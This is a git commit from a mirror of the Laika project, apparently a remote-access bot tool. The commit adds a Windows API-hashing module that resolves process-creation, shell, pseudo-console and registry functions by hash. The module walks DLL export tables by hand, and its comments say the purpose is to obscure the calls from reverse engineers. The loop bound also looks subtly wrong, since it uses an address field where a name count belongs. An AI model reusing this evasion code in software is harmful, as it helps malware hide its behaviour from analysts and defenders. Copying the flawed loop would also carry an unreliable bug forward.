1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-28 12:47:35 +00:00

Moved API obfuscation to LaikaLib target

This commit is contained in:
2022-07-16 16:09:33 -05:00
parent 25c18db6bc
commit ed96b75577
8 changed files with 16 additions and 7 deletions

View File

@@ -10,7 +10,15 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS})
# include platform specific backends
if(WIN32)
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
elseif(UNIX AND NOT APPLE)
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
endif ()
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS} ${LIBPLATFORMSOURCE})
target_link_libraries(LaikaLib PUBLIC sodium)
# make sure we're compiled *AFTER* lboxconfig.h has been generated

32
lib/include/lobf.h Normal file
View File

@@ -0,0 +1,32 @@
#ifndef LAIKA_OBF_H
#define LAIKA_OBF_H
#include "laika.h"
#ifdef _WIN32
# include <process.h>
# include <windows.h>
/* WINAPI types */
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
extern _ShellExecuteA oShellExecuteA;
extern _CreatePseudoConsole oCreatePseudoConsole;
extern _ClosePseudoConsole oClosePseudoConsole;
extern _CreateProcessA oCreateProcessA;
extern _RegOpenKeyExA oRegOpenKeyExA;
extern _RegCloseKey oRegCloseKey;
extern _RegSetValueExA oRegSetValueExA;
extern _RegQueryValueExA oRegQueryValueExA;
#endif
void laikaO_init();
#endif

6
lib/lin/linobf.c Normal file
View File

@@ -0,0 +1,6 @@
#include "lobf.h"
void laikaO_init()
{
/* stubbed */
}

166
lib/win/winobf.c Normal file
View File

@@ -0,0 +1,166 @@
#include "lobf.h"
/*
Most of this file was adapted from
https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c
Checkout their repository! All I did was minor formatting changes and some misc. cleanup
*/
#include <process.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
/* ======================================[[ API Hashing ]]====================================== */
#define RESOLVE_NAME_MAX 4096
#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y)
/*
getHashName(LPCSTR) -> uint32_t
uses the SuperFastHash algorithm to create an unsigned 32-bit hash
*/
uint32_t getHashName(LPCSTR cszName)
{
SIZE_T uNameLen, i;
PBYTE pbData = (PBYTE)cszName;
uint32_t u32Hash = 0, u32Buf = 0;
INT iRemain;
if (cszName == NULL)
return 0;
if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0)
return 0;
iRemain = (uNameLen & 3);
uNameLen >>= 2;
for (i = uNameLen; i > 0; i--) {
u32Hash += *(const UINT16 *)pbData;
u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash;
u32Hash = (u32Hash << 16) ^ u32Buf;
pbData += (2 * sizeof(UINT16));
u32Hash += u32Hash >> 11;
}
switch (iRemain) {
case 1:
u32Hash += *pbData;
u32Hash ^= u32Hash << 10;
u32Hash += u32Hash >> 1;
break;
case 2:
u32Hash += *(const UINT16 *)pbData;
u32Hash ^= u32Hash << 11;
u32Hash += u32Hash >> 17;
break;
case 3:
u32Hash += *(const UINT16 *)pbData;
u32Hash ^= u32Hash << 16;
u32Hash ^= pbData[sizeof(UINT16)] << 18;
u32Hash += u32Hash >> 11;
break;
}
u32Hash ^= u32Hash << 3;
u32Hash += u32Hash >> 5;
u32Hash ^= u32Hash << 4;
u32Hash += u32Hash >> 17;
u32Hash ^= u32Hash << 25;
u32Hash += u32Hash >> 6;
return u32Hash;
}
/* fork of the resolve_find() with the weird struct stripped. also library cleanup for the fail
condition was added */
void *findByHash(LPCSTR module, uint32_t hash)
{
HMODULE hLibrary;
PIMAGE_DOS_HEADER pDOSHdr;
PIMAGE_NT_HEADERS pNTHdr;
PIMAGE_EXPORT_DIRECTORY pIED;
PDWORD pdwAddress, pdwNames;
PWORD pwOrd;
if ((hLibrary = LoadLibraryA(module)) == NULL)
return NULL;
/*
the rest of this function just does the same thing GetProcAddress() does, but using
our hash function to find the right function. this is also more obfuscated to the
REer, however they would probably immediately recognize what this function is doing
just from the LoadLibraryA() call.
*/
/* grab DOS headers & verify */
pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
goto _findByHashFail;
/* grab NT headers & verify */
pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew);
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
goto _findByHashFail;
/* verify that this NT file is a DLL & actually exports functions */
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
goto _findByHashFail;
pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC(
hLibrary,
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions);
pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames);
pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals);
/* walk library export table, compare hashes until we find a match */
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) {
if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash)
/* return the pointer to our function. we don't worry about closing the library's
handle because we'll need it loaded until we exit. */
return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]);
}
_findByHashFail:
/* function was not found, close the library handle since we don't need it anymore */
FreeLibrary(hLibrary);
return NULL;
}
#undef RESOLVE_REL_CALC
/* ======================================[[ Exposed API ]]====================================== */
_ShellExecuteA oShellExecuteA;
_CreatePseudoConsole oCreatePseudoConsole;
_ClosePseudoConsole oClosePseudoConsole;
_CreateProcessA oCreateProcessA;
_RegOpenKeyExA oRegOpenKeyExA;
_RegCloseKey oRegCloseKey;
_RegSetValueExA oRegSetValueExA;
_RegQueryValueExA oRegQueryValueExA;
/* TODO:
GetEnvironmentVariable
*/
void laikaO_init()
{
uint32_t hash;
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
}